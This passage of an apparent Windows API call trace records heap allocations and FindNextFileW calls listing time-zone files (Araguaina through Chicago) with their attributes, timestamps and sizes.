Flags=0x8, Size=0x80) returned 0x13227c0 [0088.492] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.492] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x37c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Araguaina", cAlternateFileName="")) returned 1 [0088.492] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.493] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.493] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.493] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.493] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.493] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12be068 [0088.493] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1322848 [0088.494] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.494] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Argentina", cAlternateFileName="")) returned 1 [0088.494] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Aruba", cAlternateFileName="")) returned 1 [0088.494] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.494] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.494] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.495] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.495] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.495] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12be088 [0088.495] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x13228d0 [0088.495] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.495] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Asuncion", cAlternateFileName="")) returned 1 [0088.495] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.496] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.496] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.496] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.496] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.496] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12be0a8 [0088.496] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1322958 [0088.497] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.497] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Atikokan", cAlternateFileName="")) returned 1 [0088.497] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.497] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.497] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.498] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.498] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.498] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12be0c8 [0088.498] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x13229e0 [0088.498] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.498] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x229, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bahia", cAlternateFileName="")) returned 1 [0088.498] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.499] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.499] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.499] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.499] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.499] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12be0e8 [0088.499] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1322a68 [0088.500] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.500] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x34c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bahia_Banderas", cAlternateFileName="")) returned 1 [0088.500] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.500] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.500] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.500] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.500] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.501] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12be108 [0088.501] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1322af0 [0088.501] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.501] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x89, dwReserved0=0x0, dwReserved1=0x0, cFileName="Barbados", cAlternateFileName="")) returned 1 [0088.501] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.501] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.501] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.502] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.502] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.502] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12be128 [0088.502] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1322b78 [0088.502] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.502] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x129, dwReserved0=0x0, dwReserved1=0x0, cFileName="Belem", cAlternateFileName="")) returned 1 [0088.502] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.503] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.503] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.503] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.504] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.504] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12be148 [0088.504] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1322c00 [0088.504] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.504] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x201, dwReserved0=0x0, dwReserved1=0x0, cFileName="Belize", cAlternateFileName="")) returned 1 [0088.504] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.505] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.505] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.505] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.505] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.505] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12be168 [0088.505] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1322c88 [0088.506] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.506] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Blanc-Sablon", cAlternateFileName="")) returned 1 [0088.506] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.506] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.506] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.506] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.506] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.507] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12be188 [0088.507] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1322d10 [0088.507] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.507] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x149, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boa_Vista", cAlternateFileName="")) returned 1 [0088.507] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.507] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.507] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.508] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.508] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.508] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12be1a8 [0088.508] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1322d98 [0088.508] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.508] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x59, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bogota", cAlternateFileName="")) returned 1 [0088.508] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.509] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.509] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.509] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.509] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.510] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12be1c8 [0088.510] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1322e20 [0088.510] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8700) returned 0x12f2a48 [0088.510] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x504, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boise", cAlternateFileName="")) returned 1 [0088.510] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.510] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.510] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.511] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.511] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.511] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12be1e8 [0088.511] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1322ea8 [0088.511] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.511] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x434, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cambridge_Bay", cAlternateFileName="")) returned 1 [0088.511] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.512] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.512] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.512] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.512] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.512] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12be208 [0088.513] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1322f30 [0088.513] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.513] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Campo_Grande", cAlternateFileName="")) returned 1 [0088.513] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.513] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.513] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.514] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.514] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.514] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12be228 [0088.514] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1322fb8 [0088.514] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.514] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x318, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cancun", cAlternateFileName="")) returned 1 [0088.514] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.515] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.515] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.515] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.515] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.515] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12be248 [0088.515] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1323040 [0088.516] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.516] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x55, dwReserved0=0x0, dwReserved1=0x0, cFileName="Caracas", cAlternateFileName="")) returned 1 [0088.516] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.516] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.516] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.517] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.517] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.517] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12be268 [0088.517] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x13230c8 [0088.517] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.517] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cayenne", cAlternateFileName="")) returned 1 [0088.517] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.518] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.518] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.518] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.518] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.518] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12be288 [0088.518] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1323150 [0088.519] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.519] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cayman", cAlternateFileName="")) returned 1 [0088.519] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.519] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.519] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.520] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.520] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.520] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12be2a8 [0088.520] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x13231d8 [0088.520] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.520] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x7a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Chicago", cAlternateFileName="")) returned 1 [0088.520] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.521] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.521] RtlAllocateHeap (HeapHandle=0x940000, 